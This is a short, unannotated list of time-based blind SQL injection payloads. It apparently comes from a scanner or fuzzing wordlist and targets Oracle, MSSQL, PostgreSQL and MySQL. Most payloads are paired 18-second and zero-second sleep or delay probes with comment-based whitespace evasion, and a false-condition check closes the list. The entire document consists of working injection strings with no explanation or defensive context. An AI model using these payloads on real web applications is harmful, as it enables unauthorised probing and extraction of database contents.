'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('l',0)='l

'and(select+1)>0waitfor/**/delay'0:0:18

'and(select+1)>0waitfor/**/delay'0:0:0

'/**/and(select'1'from/**/pg_sleep(18))::text>'0

'/**/and(select'1'from/**/pg_sleep(0))::text>'0

"and(select*from(select+sleep(18))a/**/union/**/select+1)="

"and(select*from(select+sleep(0))a/**/union/**/select+1)="

'and(select*from(select+sleep(18))a/**/union/**/select+1)='

'and(select*from(select+sleep(0))a/**/union/**/select+1)='

'and'k'='b